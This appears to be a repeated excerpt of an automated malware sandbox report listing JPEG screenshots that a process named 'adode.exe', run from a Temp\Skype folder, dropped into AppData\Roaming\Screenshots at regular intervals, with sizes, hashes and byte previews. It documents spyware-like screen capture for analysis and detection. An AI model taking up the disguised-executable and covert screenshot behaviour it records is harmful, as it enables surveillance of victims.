Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_202708.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_214451.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_233129.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_022053.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_051105.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_060636.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	150955
Entropy (8bit):	7.928891273051817
Encrypted:	false
SSDEEP:	3072:boOIWu2rXKoagRfrQgpgoN6kiTff2FxeYueea8FkcKxgq/W:JIQag9rw+6kGff2FxE9xl
MD5:	2D0E4E97B28BEA75399DE4F58E48D6F6
SHA1:	C39F9B59E6B93EC84B9EB6232DD6A9899CF27C4D
SHA-256:	8153012259CCD64D0FA9D2A4B85324219F98DE2237CFA01F2DEC3D81DBE18903
SHA-512:	EF0CC67D844C76128964FFD8845D6D44631DFB412BC5D872125F61AEF969D273CB3E6263A33EFD97622A3BDBCDDA9CF5C76F769537A15083A77057EDA43FFF8C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_082749.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_105933.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_130804.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_155819.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_185123.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_202343.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250113_222054.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250114_001945.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250114_022629.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250114_052436.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250114_074642.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
